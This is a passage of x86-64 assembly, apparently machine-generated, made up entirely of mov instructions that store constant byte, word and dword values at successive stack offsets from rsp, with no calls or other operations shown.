mov word [rsp + 0x223c], ax
mov dword [rsp + 0x8bb0], 0xd087
mov byte [rsp + 0x41b], 0x1f
mov dword [rsp + 0x8bb4], 0x1a4b
mov eax, 0xf5c
mov word [rsp + 0x2240], ax
mov dword [rsp + 0x8bb8], 0x25b5
mov dword [rsp + 0x8bbc], 0x16b
mov dword [rsp + 0x8bc0], 0x86c0
mov dword [rsp + 0x8bc4], 0x77c0
mov eax, 0x534
mov word [rsp + 0x2244], ax
mov byte [rsp + 0x41c], 0x49
mov dword [rsp + 0x8bc8], 0x7e1b
mov dword [rsp + 0x8bcc], 0x7403
mov eax, 0x2d0
mov word [rsp + 0x2248], ax
mov byte [rsp + 0x41d], 0x2c
mov dword [rsp + 0x8bd0], 0x5e87
mov byte [rsp + 0x41e], 0x6b
mov dword [rsp + 0x8bd4], 0x69b5
mov byte [rsp + 0x41f], 0x84
mov dword [rsp + 0x8bd8], 0x3a0
mov dword [rsp + 0x8bdc], 0x6640
mov dword [rsp + 0x8be0], 0x824
mov dword [rsp + 0x8be4], 0x1845
mov eax, 0x20e
mov word [rsp + 0x224c], ax
mov dword [rsp + 0x8be8], 0x5cf4
mov byte [rsp + 0x420], 0x19
mov byte [rsp + 0x421], 0x55
mov dword [rsp + 0x8bec], 0xcf3f
mov dword [rsp + 0x8bf0], 0x3bb9
mov eax, 0xbe7
mov word [rsp + 0x2250], ax
mov dword [rsp + 0x8bf4], 0x8dc3
mov dword [rsp + 0x8bf8], 0x53b1
mov dword [rsp + 0x8bfc], 0x133f
mov dword [rsp + 0x8c00], 0x103d
mov dword [rsp + 0x8c04], 0x7e0f
mov dword [rsp + 0x8c08], 0x1b1c
mov eax, 0xea0
mov word [rsp + 0x2254], ax
mov dword [rsp + 0x8c0c], 0x9f4a
mov eax, 0x95
mov word [rsp + 0x2258], ax
mov byte [rsp + 0x422], 0
mov dword [rsp + 0x8c10], 0x69fd
mov byte [rsp + 0x423], 0x3e
mov eax, 0x5cf
mov word [rsp + 0x225c], ax
mov dword [rsp + 0x8c14], 0xca9d
mov byte [rsp + 0x424], 0x7c
mov dword [rsp + 0x8c18], 0xf7dd
mov dword [rsp + 0x8c1c], 0x10be
mov dword [rsp + 0x8c20], 0x3152
mov dword [rsp + 0x8c24], 0x5863
mov eax, 0x9d6
mov word [rsp + 0x2260], ax
mov dword [rsp + 0x8c28], 0xcf0
mov dword [rsp + 0x8c2c], 0xaffa
mov byte [rsp + 0x425], 0x6a
mov eax, 0x34
mov word [rsp + 0x2264], ax
mov eax, 0x471
mov word [rsp + 0x2268], ax
mov eax, 0x4cd
mov word [rsp + 0x226c], ax
mov dword [rsp + 0x8c30], 0x6bdb
mov eax, 0x75
mov word [rsp + 0x2270], ax
mov byte [rsp + 0x426], 0xcb
mov dword [rsp + 0x8c34], 0x3d93
mov dword [rsp + 0x8c38], 0x2477
mov dword [rsp + 0x8c3c], 0x6f0e
mov dword [rsp + 0x8c40], 0x644b
mov dword [rsp + 0x8c44], 0x240f
mov dword [rsp + 0x8c48], 0x1881
mov eax, 0x625
mov word [rsp + 0x2274], ax
mov dword [rsp + 0x8c4c], 0x2a67
mov dword [rsp + 0x8c50], 0x6bce
mov byte [rsp + 0x427], 0xde
mov dword [rsp + 0x8c54], 0x6710
mov dword [rsp + 0x8c58], 0x7c37
mov dword [rsp + 0x8c5c], 0x7c34
mov dword [rsp + 0x8c60], 0xb8f0
mov dword [rsp + 0x8c64], 0xaac1
mov eax, 0xb95
mov word [rsp + 0x2278], ax
mov dword [rsp + 0x8c68], 0x6ca3
mov eax, 0x8df
mov word [rsp + 0x227c], ax
mov eax, 0x6c4
mov word [rsp + 0x2280], ax
mov dword [rsp + 0x8c6c], 0x3812
mov dword [rsp + 0x8c70], 0xefcb
mov dword [rsp + 0x8c74], 0x638b
mov dword [rsp + 0x8c78], 0x6cb9
mov dword [rsp + 0x8c7c], 0x2479
mov eax, 0x160
mov word [rsp + 0x2284], ax
mov eax, 0xad1
mov word [rsp + 0x2288], ax
mov dword [rsp + 0x8c80], 0x92a1
mov dword [rsp + 0x8c84], 0x8f6b
mov dword [rsp + 0x8c88], 0xb312
mov dword [rsp + 0x8c8c], 0x59a4
mov dword [rsp + 0x8c90], 0x32b6
mov eax, 0x6dc
mov word [rsp + 0x228c], ax
mov eax, 0x240
mov word [rsp + 0x2290], ax
mov byte [rsp + 0x428], 0xb2
mov eax, 0xae5
mov word [rsp + 0x2294], ax
mov byte [rsp + 0x429], 0x46
mov dword [rsp + 0x8c94], 0xcd27
mov dword [rsp + 0x8c98], 0x4b48
mov dword [rsp + 0x8c9c], 0xf376
mov dword [rsp + 0x8ca0], 0x170b
mov byte [rsp + 0x42a], 0x49
mov dword [rsp + 0x8ca4], 0x4d7b
mov dword [rsp + 0x8ca8], 0x12db
mov dword [rsp + 0x8cac], 0xc330
mov dword [rsp + 0x8cb0], 0x177
mov dword [rsp + 0x8cb4], 0x1157
mov byte [rsp + 0x42b], 0x53
mov byte [rsp + 0x42c], 0x1a
mov dword [rsp + 0x8cb8], 0x1e58
mov byte [rsp + 0x42d], 0xfd
mov byte [rsp + 0x42e], 0x44
mov dword [rsp + 0x8cbc], 0x2ff3
mov byte [rsp + 0x42f], 0x41
mov eax, 0x914
mov word [rsp + 0x2298], ax
mov dword [rsp + 0x8cc0], 0x7ada
mov eax, 0x7d9
mov word [rsp + 0x229c], ax
mov eax, 0x10
mov word [rsp + 0x22a0], ax
mov dword [rsp + 0x8cc4], 0x21ea
mov dword [rsp + 0x8cc8], 0xddd5
mov eax, 0xe7d
mov word [rsp + 0x22a4], ax
mov dword [rsp + 0x8ccc], 0xaba5
mov byte [rsp + 0x430], 0x7a
mov eax, 0xd5b
mov word [rsp + 0x22a8], ax
mov dword [rsp + 0x8cd0], 0xd00b
mov dword [rsp + 0x8cd4], 0x389e
mov dword [rsp + 0x8cd8], 0x7b7
mov byte [rsp + 0x431], 0xd2
mov dword [rsp + 0x8cdc], 0x685c
mov byte [rsp + 0x432], 0xe1
mov dword [rsp + 0x8ce0], 0x65bf
mov dword [rsp + 0x8ce4], 0x5095
mov byte [rsp + 0x433], 0x1c
mov dword [rsp + 0x8ce8], 0xca05
mov dword [rsp + 0x8cec], 0xd3
mov dword [rsp + 0x8cf0], 0xae6
mov eax, 0x35
mov word [rsp + 0x22ac], ax
mov dword [rsp + 0x8cf4], 0xc46
mov byte [rsp + 0x434], 0x2b
mov dword [rsp + 0x8cf8], 0xa92f
mov eax, 0x859
mov word [rsp + 0x22b0], ax
mov eax, 0xec0
mov word [rsp + 0x22b4], ax
mov dword [rsp + 0x8cfc], 0x4a36
mov dword [rsp + 0x8d00], 0x4523
mov eax, 0x8b8
mov word [rsp + 0x22b8], ax
mov eax, 0x3a7
mov word [rsp + 0x22bc], ax
mov eax, 0xd9
mov word [rsp + 0x22c0], ax
mov dword [rsp + 0x8d04], 0xea1
mov byte [rsp + 0x435], 0x3d
mov dword [rsp + 0x8d08], 0x4736
mov byte [rsp + 0x436], 0x2a
mov byte [rsp + 0x437], 0xaa
mov eax, 0x63a
mov word [rsp + 0x22c4], ax
mov dword [rsp + 0x8d0c], 0x55d1
mov byte [rsp + 0x438], 0x64
mov dword [rsp + 0x8d10], 0x8d2c
mov dword [rsp + 0x8d14], 0xe554
mov dword [rsp + 0x8d18], 0xe3d1
mov dword [rsp + 0x8d1c], 0x2f
mov eax, 0x7b0
mov word [rsp + 0x22c8], ax
mov dword [rsp + 0x8d20], 0xe1f1
mov dword [rsp + 0x8d24], 0x395f
mov dword [rsp + 0x8d28], 0x7449
mov dword [rsp + 0x8d2c], 0x4fc9
mov byte [rsp + 0x439], 0xc7
mov dword [rsp + 0x8d30], 0xe0c6
mov dword [rsp + 0x8d34], 0xa83b
mov eax, 0x757
mov word [rsp + 0x22cc], ax
mov dword [rsp + 0x8d38], 0x8ecc
mov eax, 0x7c
mov word [rsp + 0x22d0], ax
mov dword [rsp + 0x8d3c], 0x3dab
mov dword [rsp + 0x8d40], 0x1f63
mov byte [rsp + 0x43a], 0xa0
mov byte [rsp + 0x43b], 0x26
mov dword [rsp + 0x8d44], 0x25f2
mov dword [rsp + 0x8d48], 0x7a83
mov dword [rsp + 0x8d4c], 0x63b5
mov dword [rsp + 0x8d50], 0x3273
mov dword [rsp + 0x8d54], 0x279f
mov byte [rsp + 0x43c], 0x7d
mov byte [rsp + 0x43d], 0x1a
mov byte [rsp + 0x43e], 0xfd
mov dword [rsp + 0x8d58], 0x65ec
mov byte [rsp + 0x43f], 0x24
mov eax, 0x4ff
mov word [rsp + 0x22d4], ax
mov dword [rsp + 0x8d5c], 0x1b03
mov dword [rsp + 0x8d60], 0x9096
mov dword [rsp + 0x8d64], 0x55fe
mov dword [rsp + 0x8d68], 0x30c3
mov dword [rsp + 0x8d6c], 0x3524
mov dword [rsp + 0x8d70], 0x16ea
mov byte [rsp + 0x440], 7
mov eax, 0x5db
mov word [rsp + 0x22d8], ax
mov byte [rsp + 0x441], 0xc9
mov byte [rsp + 0x442], 0x9f
mov byte [rsp + 0x443], 0x6e
mov dword [rsp + 0x8d74], 0x39f8
mov dword [rsp + 0x8d78], 0x5566
mov eax, 0xcc0
mov word [rsp + 0x22dc], ax
mov byte [rsp + 0x444], 0x6d
mov eax, 0x1e8
mov word [rsp + 0x22e0], ax
mov eax, 0x4ee
mov word [rsp + 0x22e4], ax
mov dword [rsp + 0x8d7c], 0x8155
mov dword [rsp + 0x8d80], 0x6f1d
mov dword [rsp + 0x8d84], 0x5220
mov eax, 0x7be
mov word [rsp + 0x22e8], ax
mov byte [rsp + 0x445], 6
mov dword [rsp + 0x8d88], 0x1ae5
mov dword [rsp + 0x8d8c], 0x4bf6
mov dword [rsp + 0x8d90], 0x38be
mov dword [rsp + 0x8d94], 0x6772
mov dword [rsp + 0x8d98], 0x4f3a
mov dword [rsp + 0x8d9c], 0xdc2
mov dword [rsp + 0x8da0], 0x6d66
mov eax, 0x50a
mov word [rsp + 0x22ec], ax
mov eax, 0x88b
mov word [rsp + 0x22f0], ax
mov dword [rsp + 0x8da4], 0x277c
mov dword [rsp + 0x8da8], 0xdf2
mov dword [rsp + 0x8dac], 0x2ea9
mov eax, 0x621
mov word [rsp + 0x22f4], ax
mov eax, 0xaaa
mov word [rsp + 0x22f8], ax
mov eax, 0x25f
mov word [rsp + 0x22fc], ax
mov dword [rsp + 0x8db0], 0x8bdf
mov dword [rsp + 0x8db4], 0x75e7
mov dword [rsp + 0x8db8], 0x74bb
mov dword [rsp + 0x8dbc], 0xc1ba
mov dword [rsp + 0x8dc0], 0x519c
mov byte [rsp + 0x446], 0x5b
mov dword [rsp + 0x8dc4], 0x6d2d
mov dword [rsp + 0x8dc8], 0x51e0
mov dword [rsp + 0x8dcc], 0x2ffc
mov eax, 0x928
mov word [rsp + 0x2300], ax
mov eax, 0x435
mov word [rsp + 0x2304], ax
mov byte [rsp + 0x447], 0x62
mov dword [rsp + 0x8dd0], 0x3b4a
mov byte [rsp + 0x448], 0xd2
mov dword [rsp + 0x8dd4], 0x90e
mov dword [rsp + 0x8dd8], 0xe8de
mov dword [rsp + 0x8ddc], 0x703f
mov dword [rsp + 0x8de0], 0xbda0
mov eax, 0x1a3
mov word [rsp + 0x2308], ax
mov dword [rsp + 0x8de4], 0x43eb
mov byte [rsp + 0x449], 0x7e
mov byte [rsp + 0x44a], 0x28
mov byte [rsp + 0x44b], 0x44
mov eax, 0x2d7
mov word [rsp + 0x230c], ax
mov eax, 0x52c
mov word [rsp + 0x2310], ax
mov byte [rsp + 0x44c], 0x6f
mov dword [rsp + 0x8de8], 0x637
mov byte [rsp + 0x44d], 0x8f
mov byte [rsp + 0x44e], 4
mov dword [rsp + 0x8dec], 0xa0ed
mov eax, 0xce7
mov word [rsp + 0x2314], ax
mov byte [rsp + 0x44f], 0xb2
mov byte [rsp + 0x450], 0x72
mov dword [rsp + 0x8df0], 0x7bee
mov eax, 0x76f
mov word [rsp + 0x2318], ax
mov dword [rsp + 0x8df4], 0xd477
mov dword [rsp + 0x8df8], 0xc3a4
mov eax, 0x724
mov word [rsp + 0x231c], ax
mov dword [rsp + 0x8dfc], 0x320d
mov byte [rsp + 0x451], 0xad
mov dword [rsp + 0x8e00], 0x4d7e
mov dword [rsp + 0x8e04], 0xb8b7
mov dword [rsp + 0x8e08], 0x4057
mov byte [rsp + 0x452], 0x54
mov dword [rsp + 0x8e0c], 0x3b55
mov dword [rsp + 0x8e10], 0x1496
mov dword [rsp + 0x8e14], 0x92a4
mov dword [rsp + 0x8e18], 0x3581
mov dword [rsp + 0x8e1c], 0x1c8f
mov dword [rsp + 0x8e20], 0x2bcf
mov dword [rsp + 0x8e24], 0x3a32
mov dword [rsp + 0x8e28], 0x506
mov eax, 0xce8
mov word [rsp + 0x2320], ax
mov dword [rsp + 0x8e2c], 0x6eb7
mov dword [rsp + 0x8e30], 0xd082
mov dword [rsp + 0x8e34], 0x423
mov byte [rsp + 0x453], 0xe
mov dword [rsp + 0x8e38], 0xc98
mov byte [rsp + 0x454], 0x27
mov dword [rsp + 0x8e3c], 0x446d
mov dword [rsp + 0x8e40], 0x19ef
mov dword [rsp + 0x8e44], 0x4b1b
mov dword [rsp + 0x8e48], 0x16fe
mov dword [rsp + 0x8e4c], 0x1be6
mov byte [rsp + 0x455], 0x6f
mov dword [rsp + 0x8e50], 0x50aa
mov byte [rsp + 0x456], 0x65
mov dword [rsp + 0x8e54], 0xf025
mov byte [rsp + 0x457], 0x13
mov dword [rsp + 0x8e58], 0x7d3c
mov eax, 0xd31
mov word [rsp + 0x2324], ax
mov eax, 0xc71
mov word [rsp + 0x2328], ax
mov dword [rsp + 0x8e5c], 0x5b47
mov eax, 0x547
mov word [rsp + 0x232c], ax
mov byte [rsp + 0x458], 0xc0
mov byte [rsp + 0x459], 0xa5
mov eax, 0x6ae
mov word [rsp + 0x2330], ax
mov dword [rsp + 0x8e60], 0x641
mov byte [rsp + 0x45a], 0x4a
mov dword [rsp + 0x8e64], 0x5214
mov eax, 0x21d
mov word [rsp + 0x2334], ax
mov dword [rsp + 0x8e68], 0x7091
mov eax, 0x4ec
mov word [rsp + 0x2338], ax
mov eax, 0x436
mov word [rsp + 0x233c], ax
mov dword [rsp + 0x8e6c], 0x46d0
mov eax, 0x957
mov word [rsp + 0x2340], ax
mov eax, 0x2d4
mov word [rsp + 0x2344], ax
mov dword [rsp + 0x8e70], 0x151d
mov eax, 0x22d
mov word [rsp + 0x2348], ax
mov dword [rsp + 0x8e74], 0xe24f
mov dword [rsp + 0x8e78], 0x5cc8
mov dword [rsp + 0x8e7c], 0x59b6
mov dword [rsp + 0x8e80], 0x7c5
mov dword [rsp + 0x8e84], 0x35d8
mov dword [rsp + 0x8e88], 0x6b04
mov dword [rsp + 0x8e8c], 0xbf1b
mov eax, 0x5e8
mov word [rsp + 0x234c], ax
mov dword [rsp + 0x8e90], 0xaea3
mov dword [rsp + 0x8e94], 0x6abb
mov dword [rsp + 0x8e98], 0x528
mov dword [rsp + 0x8e9c], 0x7ec3
mov eax, 0x239
mov word [rsp + 0x2350], ax
mov dword [rsp + 0x8ea0], 0x3390
mov dword [rsp + 0x8ea4], 0x6cc9
mov dword [rsp + 0x8ea8], 0x1ab3
mov dword [rsp + 0x8eac], 0x545
mov dword [rsp + 0x8eb0], 0x6868
mov dword [rsp + 0x8eb4], 0xb7f4
mov dword [rsp + 0x8eb8], 0x3dbe
mov dword [rsp + 0x8ebc], 0x1dfd
mov byte [rsp + 0x45b], 2
mov dword [rsp + 0x8ec0], 0x6c42
mov byte [rsp + 0x45c], 0x3d
mov dword [rsp + 0x8ec4], 0x67bd
mov byte [rsp + 0x45d], 0xd5
mov dword [rsp + 0x8ec8], 0x8096
mov byte [rsp + 0x45e], 0x3c
mov eax, 0x576
mov word [rsp + 0x2354], ax
mov dword [rsp + 0x8ecc], 0x7465
mov byte [rsp + 0x45f], 0x37
mov eax, 0x276
mov word [rsp + 0x2358], ax
mov dword [rsp + 0x8ed0], 0xe9b0
mov eax, 0x248
mov word [rsp + 0x235c], ax
mov dword [rsp + 0x8ed4], 0x4212
mov dword [rsp + 0x8ed8], 0x6969
mov eax, 0x782
mov word [rsp + 0x2360], ax
mov dword [rsp + 0x8edc], 0x6c5d
mov byte [rsp + 0x460], 0x16
mov dword [rsp + 0x8ee0], 0x1905
mov eax, 0x694
mov word [rsp + 0x2364], ax
mov eax, 0x724
mov word [rsp + 0x2368], ax
mov dword [rsp + 0x8ee4], 0xa272
mov eax, 0x62d
mov word [rsp + 0x236c], ax
mov dword [rsp + 0x8ee8], 0x7996
mov byte [rsp + 0x461], 0x1d
mov dword [rsp + 0x8eec], 0x2291
mov eax, 0x67a
mov word [rsp + 0x2370], ax
mov eax, 0xd4f
mov word [rsp + 0x2374], ax
mov dword [rsp + 0x8ef0], 0xa900
mov byte [rsp + 0x462], 0x6b
mov dword [rsp + 0x8ef4], 0x41cb
mov dword [rsp + 0x8ef8], 0x74ef
mov dword [rsp + 0x8efc], 0x28be
mov byte [rsp + 0x463], 0xe
mov byte [rsp + 0x464], 0x49
mov byte [rsp + 0x465], 0x3a
mov dword [rsp + 0x8f00], 0xecc7
mov dword [rsp + 0x8f04], 0x13e1
mov dword [rsp + 0x8f08], 0x346
mov eax, 0xcf2
mov word [rsp + 0x2378], ax
mov byte [rsp + 0x466], 0xa8
mov eax, 0xe6c
mov word [rsp + 0x237c], ax
mov dword [rsp + 0x8f0c], 0x1faa
mov dword [rsp + 0x8f10], 0x7978
mov byte [rsp + 0x467], 0x5e
mov eax, 0x12a
mov word [rsp + 0x2380], ax
mov byte [rsp + 0x468], 0x16
mov eax, 0x1e4
mov word [rsp + 0x2384], ax
mov dword [rsp + 0x8f14], 0x9a51
mov byte [rsp + 0x469], 0x66
mov eax, 0xcbf
mov word [rsp + 0x2388], ax
mov dword [rsp + 0x8f18], 0x3c63
mov byte [rsp + 0x46a], 0x55
mov eax, 0xca
mov word [rsp + 0x238c], ax
mov dword [rsp + 0x8f1c], 0xf4f
mov eax, 0x198
mov word [rsp + 0x2390], ax
mov byte [rsp + 0x46b], 0x62
mov dword [rsp + 0x8f20], 0x3228
mov eax, 0x6a3
mov word [rsp + 0x2394], ax
mov dword [rsp + 0x8f24], 0x482a
mov dword [rsp + 0x8f28], 0x1e13
mov eax, 0x8bf
mov word [rsp + 0x2398], ax
mov dword [rsp + 0x8f2c], 0x5b74
mov eax, 0x89d
mov word [rsp + 0x239c], ax
mov dword [rsp + 0x8f30], 0x4511
mov eax, 0x960
mov word [rsp + 0x23a0], ax
mov dword [rsp + 0x8f34], 0x5c1c
mov dword [rsp + 0x8f38], 0x75a4
mov dword [rsp + 0x8f3c], 0x7211
mov eax, 0x64c
mov word [rsp + 0x23a4], ax
mov eax, 0xbb6
mov word [rsp + 0x23a8], ax
mov byte [rsp + 0x46c], 0xb2
mov dword [rsp + 0x8f40], 0x5802
mov byte [rsp + 0x46d], 0x73
mov dword [rsp + 0x8f44], 0x5230
mov eax, 0x1cd
mov word [rsp + 0x23ac], ax
mov dword [rsp + 0x8f48], 0x7166
mov byte [rsp + 0x46e], 0x75
mov dword [rsp + 0x8f4c], 0x50af
mov dword [rsp + 0x8f50], 0x516
mov dword [rsp + 0x8f54], 0x6a6a
mov eax, 0xc79
mov word [rsp + 0x23b0], ax
mov dword [rsp + 0x8f58], 0x14a3
mov dword [rsp + 0x8f5c], 0x3d4b
mov dword [rsp + 0x8f60], 0x7b72
mov dword [rsp + 0x8f64], 0x1775
mov dword [rsp + 0x8f68], 0x2768
mov dword [rsp + 0x8f6c], 0x2ff1
mov eax, 0x1a1
mov word [rsp + 0x23b4], ax
mov dword [rsp + 0x8f70], 0x27af
mov dword [rsp + 0x8f74], 0xc2ac
mov byte [rsp + 0x46f], 0x4f
mov dword [rsp + 0x8f78], 0x5760
mov dword [rsp + 0x8f7c], 0x6223
mov byte [rsp + 0x470], 0x9e
mov eax, 0x60a
mov word [rsp + 0x23b8], ax
mov dword [rsp + 0x8f80], 0x7a22
mov dword [rsp + 0x8f84], 0x1327
mov dword [rsp + 0x8f88], 0x31e
mov dword [rsp + 0x8f8c], 0x530f
mov dword [rsp + 0x8f90], 0x6b1f
mov dword [rsp + 0x8f94], 0x7bbf
mov eax, 0x3aa
mov word [rsp + 0x23bc], ax
mov dword [rsp + 0x8f98], 0x536a
mov byte [rsp + 0x471], 0xb5
mov dword [rsp + 0x8f9c], 0x2af8
mov byte [rsp + 0x472], 0xe2
mov dword [rsp + 0x8fa0], 0x53e0
mov eax, 0x785
mov word [rsp + 0x23c0], ax
mov byte [rsp + 0x473], 0x4c
mov dword [rsp + 0x8fa4], 0xdb09
mov eax, 0x7f1
mov word [rsp + 0x23c4], ax
mov byte [rsp + 0x474], 0xaf
mov byte [rsp + 0x475], 0x72
mov dword [rsp + 0x8fa8], 0x2513
mov dword [rsp + 0x8fac], 0xc2c0
mov dword [rsp + 0x8fb0], 0x6e6c
mov dword [rsp + 0x8fb4], 0x514a
mov dword [rsp + 0x8fb8], 0x6089
mov dword [rsp + 0x8fbc], 0x7758
mov dword [rsp + 0x8fc0], 0x7a16
mov byte [rsp + 0x476], 0x20
mov dword [rsp + 0x8fc4], 0x4f6d
mov dword [rsp + 0x8fc8], 0x13d4
mov dword [rsp + 0x8fcc], 0x7e34
mov byte [rsp + 0x477], 0x1b
mov byte [rsp + 0x478], 0xe1
mov byte [rsp + 0x479], 0x2a
mov dword [rsp + 0x8fd0], 0x3e2a
mov dword [rsp + 0x8fd4], 0x8bd1
mov dword [rsp + 0x8fd8], 0x14b3
mov byte [rsp + 0x47a], 0xa0
mov dword [rsp + 0x8fdc], 0x3eb
mov byte [rsp + 0x47b], 0x3b
mov dword [rsp + 0x8fe0], 0xa887
mov eax, 0xe7e
mov word [rsp + 0x23c8], ax
mov byte [rsp + 0x47c], 0xd8
mov dword [rsp + 0x8fe4], 0xe332
mov eax, 0xaf2
mov word [rsp + 0x23cc], ax
mov dword [rsp + 0x8fe8], 0x7d04
mov dword [rsp + 0x8fec], 0x1cb1
mov byte [rsp + 0x47d], 0x9a
mov dword [rsp + 0x8ff0], 0x7cef
mov eax, 0x3a3
mov word [rsp + 0x23d0], ax
mov eax, 0xa77
mov word [rsp + 0x23d4], ax
mov dword [rsp + 0x8ff4], 0x5aab
mov dword [rsp + 0x8ff8], 0x7d72
mov byte [rsp + 0x47e], 0x4c
mov byte [rsp + 0x47f], 0xf8
mov byte [rsp + 0x480], 0x65
mov dword [rsp + 0x8ffc], 0x6b8a
mov dword [rsp + 0x9000], 0x6da1
mov byte [rsp + 0x481], 0x84
mov dword [rsp + 0x9004], 0x3f9
mov dword [rsp + 0x9008], 0x2fae
mov dword [rsp + 0x900c], 0x13e6
mov dword [rsp + 0x9010], 0x5700
mov byte [rsp + 0x482], 0
mov dword [rsp + 0x9014], 0x4154
mov eax, 0xbe6
mov word [rsp + 0x23d8], ax
mov dword [rsp + 0x9018], 0x2b45
mov dword [rsp + 0x901c], 0x5023
mov dword [rsp + 0x9020], 0x7aff
mov dword [rsp + 0x9024], 0x5d39
mov dword [rsp + 0x9028], 0x52ab
mov eax, 0x91e
mov word [rsp + 0x23dc], ax
mov dword [rsp + 0x902c], 0xec60
mov dword [rsp + 0x9030], 0x5338
mov byte [rsp + 0x483], 6
mov dword [rsp + 0x9034], 0xadff
mov dword [rsp + 0x9038], 0x1784
mov byte [rsp + 0x484], 0x54
mov eax, 0x453
mov word [rsp + 0x23e0], ax
mov dword [rsp + 0x903c], 0x860
mov dword [rsp + 0x9040], 0x2685
mov dword [rsp + 0x9044], 0x2748
mov byte [rsp + 0x485], 0x70
mov dword [rsp + 0x9048], 0x4c6a
mov dword [rsp + 0x904c], 0xe0ef
mov dword [rsp + 0x9050], 0x9609
mov dword [rsp + 0x9054], 0xb820
mov dword [rsp + 0x9058], 0x3c4a
mov byte [rsp + 0x486], 0xa7
mov dword [rsp + 0x905c], 0xd06a
mov dword [rsp + 0x9060], 0x1a1c
mov dword [rsp + 0x9064], 0x597f
mov eax, 0x301
mov word [rsp + 0x23e4], ax
mov byte [rsp + 0x487], 0x60
mov dword [rsp + 0x9068], 0x2a2d
mov eax, 0x3f7
mov word [rsp + 0x23e8], ax
mov dword [rsp + 0x906c], 0x57e7
mov dword [rsp + 0x9070], 0x835
mov eax, 0x28f
mov word [rsp + 0x23ec], ax
mov dword [rsp + 0x9074], 0x181
mov byte [rsp + 0x488], 0x76
mov dword [rsp + 0x9078], 0x3d76
mov dword [rsp + 0x907c], 0x49bf
mov byte [rsp + 0x489], 4
mov byte [rsp + 0x48a], 0x9d
mov eax, 0x36b
mov word [rsp + 0x23f0], ax
mov byte [rsp + 0x48b], 0x48
mov byte [rsp + 0x48c], 0x32
mov dword [rsp + 0x9080], 0x689
mov dword [rsp + 0x9084], 0x114c
mov dword [rsp + 0x9088], 0x6ea7
mov dword [rsp + 0x908c], 0x398d
mov eax, 0x7e2
mov word [rsp + 0x23f4], ax
mov dword [rsp + 0x9090], 0x3721
mov dword [rsp + 0x9094], 0xf42c
mov dword [rsp + 0x9098], 0x2a3c
mov dword [rsp + 0x909c], 0x51eb
mov byte [rsp + 0x48d], 0xcb
mov dword [rsp + 0x90a0], 0x288e
mov eax, 0x28
mov word [rsp + 0x23f8], ax
mov eax, 0x496
mov word [rsp + 0x23fc], ax
mov dword [rsp + 0x90a4], 0xe8c
mov dword [rsp + 0x90a8], 0x62e4
mov dword [rsp + 0x90ac], 0x1c53
mov byte [rsp + 0x48e], 0x7b
mov byte [rsp + 0x48f], 0xd3
mov dword [rsp + 0x90b0], 0x2e3e
mov eax, 0x9a0
mov word [rsp + 0x2400], ax
mov byte [rsp + 0x490], 0xb0
mov dword [rsp + 0x90b4], 0x4a19
mov eax, 0x67c
mov word [rsp + 0x2404], ax
mov eax, 0x44
mov word [rsp + 0x2408], ax
mov dword [rsp + 0x90b8], 0x4b98
mov eax, 0x5ca
mov word [rsp + 0x240c], ax
mov dword [rsp + 0x90bc], 0x43a9
mov dword [rsp + 0x90c0], 0x90d
mov dword [rsp + 0x90c4], 0x574f
mov dword [rsp + 0x90c8], 0x74b3
mov dword [rsp + 0x90cc], 0xef1
mov eax, 0x160
mov word [rsp + 0x2410], ax
mov eax, 0x72
mov word [rsp + 0x2414], ax
mov dword [rsp + 0x90d0], 0x6d3f
mov dword [rsp + 0x90d4], 0x7296
mov dword [rsp + 0x90d8], 0x46dc
mov dword [rsp + 0x90dc], 0x5f6e
mov dword [rsp + 0x90e0], 0x37bf
mov dword [rsp + 0x90e4], 0x9ae
mov dword [rsp + 0x90e8], 0x6999
mov dword [rsp + 0x90ec], 0x4328
mov byte [rsp + 0x491], 0xf5
mov eax, 0xe02
mov word [rsp + 0x2418], ax
mov byte [rsp + 0x492], 0x83
mov dword [rsp + 0x90f0], 0x21d4
mov eax, 0x757
mov word [rsp + 0x241c], ax
mov dword [rsp + 0x90f4], 0x3705
mov byte [rsp + 0x493], 0x85
mov eax, 0xb46
mov word [rsp + 0x2420], ax
mov byte [rsp + 0x494], 0x1e
mov eax, 0x74
mov word [rsp + 0x2424], ax
mov dword [rsp + 0x90f8], 0x255d
mov eax, 0x2eb
mov word [rsp + 0x2428], ax
mov dword [rsp + 0x90fc], 0x5d05
mov eax, 0x288
mov word [rsp + 0x242c], ax
mov byte [rsp + 0x495], 0
mov dword [rsp + 0x9100], 0x66f0
mov dword [rsp + 0x9104], 0xe9d1
mov byte [rsp + 0x496], 0x1b
mov eax, 0xa8d
mov word [rsp + 0x2430], ax
mov dword [rsp + 0x9108], 0x5cf3
mov dword [rsp + 0x910c], 0x3ca2
mov dword [rsp + 0x9110], 0x63ca
mov byte [rsp + 0x497], 0x19
mov eax, 0xc4b
mov word [rsp + 0x2434], ax
mov byte [rsp + 0x498], 0x96
mov dword [rsp + 0x9114], 0x50ce
mov dword [rsp + 0x9118], 0x5128
mov eax, 0x2c2
mov word [rsp + 0x2438], ax
mov eax, 0x1b0
mov word [rsp + 0x243c], ax
mov dword [rsp + 0x911c], 0x4d9d
mov byte [rsp + 0x499], 0xe7
mov eax, 0x7ad
mov word [rsp + 0x2440], ax
mov eax, 0x551
mov word [rsp + 0x2444], ax
mov eax, 0xf5f
mov word [rsp + 0x2448], ax
mov dword [rsp + 0x9120], 0xd210
mov eax, 0x7e3
mov word [rsp + 0x244c], ax
mov dword [rsp + 0x9124], 0xac25
mov eax, 0x178
mov word [rsp + 0x2450], ax
mov dword [rsp + 0x9128], 0x4bea
mov byte [rsp + 0x49a], 0xd1
mov dword [rsp + 0x912c], 0x6df1
mov eax, 0x18a
mov word [rsp + 0x2454], ax
mov byte [rsp + 0x49b], 0x4a
mov dword [rsp + 0x9130], 0x8b43
mov eax, 0x1a4
mov word [rsp + 0x2458], ax
mov dword [rsp + 0x9134], 0x1597
mov eax, 0x519
mov word [rsp + 0x245c], ax
mov dword [rsp + 0x9138], 0x216f
mov byte [rsp + 0x49c], 0x5c
mov eax, 0x7c1
mov word [rsp + 0x2460], ax
mov dword [rsp + 0x913c], 0x296b
mov byte [rsp + 0x49d], 0xa4
mov eax, 0xdd3
mov word [rsp + 0x2464], ax
mov dword [rsp + 0x9140], 0x4bbc
mov dword [rsp + 0x9144], 0xed58
mov dword [rsp + 0x9148], 0x2148
mov dword [rsp + 0x914c], 0x261f
mov dword [rsp + 0x9150], 0x731e
mov dword [rsp + 0x9154], 0x1044
mov dword [rsp + 0x9158], 0xab8b
mov dword [rsp + 0x915c], 0x5203
mov dword [rsp + 0x9160], 0x9f9a
mov byte [rsp + 0x49e], 0x5b
mov eax, 0x69
mov word [rsp + 0x2468], ax
mov eax, 0xd7d
mov word [rsp + 0x246c], ax
